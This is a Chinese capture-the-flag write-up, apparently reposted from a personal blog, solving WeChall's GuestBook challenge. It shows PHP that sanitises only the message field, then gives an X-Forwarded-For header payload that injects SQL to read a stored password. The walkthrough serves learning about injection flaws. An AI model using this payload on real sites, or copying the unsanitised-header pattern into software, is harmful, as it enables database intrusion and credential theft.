WeChall 之 GuestBook

admin 2021年9月1日14:57:54评论80 views字数 726阅读2分25秒阅读模式

这题是个SQL注入
看到

$message = mysql_real_escape_string($message);

这句话,就知道message这个点是注入不了的。
那么只能从其他地方注入。
研究这句话:

$query = "INSERT INTO gbook_book VALUES('$playerid', $userid, $time, '$ip', '$message')";

只对message有过滤处理,而对其他的变量并没有过滤。
同时看上文的

function gbook_getIP()
{
    if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
        return $_SERVER['HTTP_X_FORWARDED_FOR'];
    }
    elseif (isset($_SERVER['HTTP_VIA'])) { 
        return $_SERVER['HTTP_VIA'];
    }
    else {
        return $_SERVER['REMOTE_ADDR'];
    }
}

函数,发现这里是通过XFF来得到的客户端IP,同时XFF没有被过滤。
那么我们就可以通过构造XFF字段来注入:

X-Forwarded-For:',(select gbu_password from gbook_user limit 1))#

FROM :rickyhao.com | rickyhao.com

相关推荐: HITCON 2015 BabyFirst(命令执行绕正则)

题目地址:https://github.com/otakekumi/CTF-Challenge/blob/master/PHP/chall_4/index.php 借上次的docker环境,稍微改了下。本地搭了个环境玩。 代码审计,整个程序的逻辑是为一个客户端…

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年9月1日14:57:54
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   WeChall 之 GuestBookhttp://cn-sec.com/archives/499716.html

发表评论

匿名网友 填写信息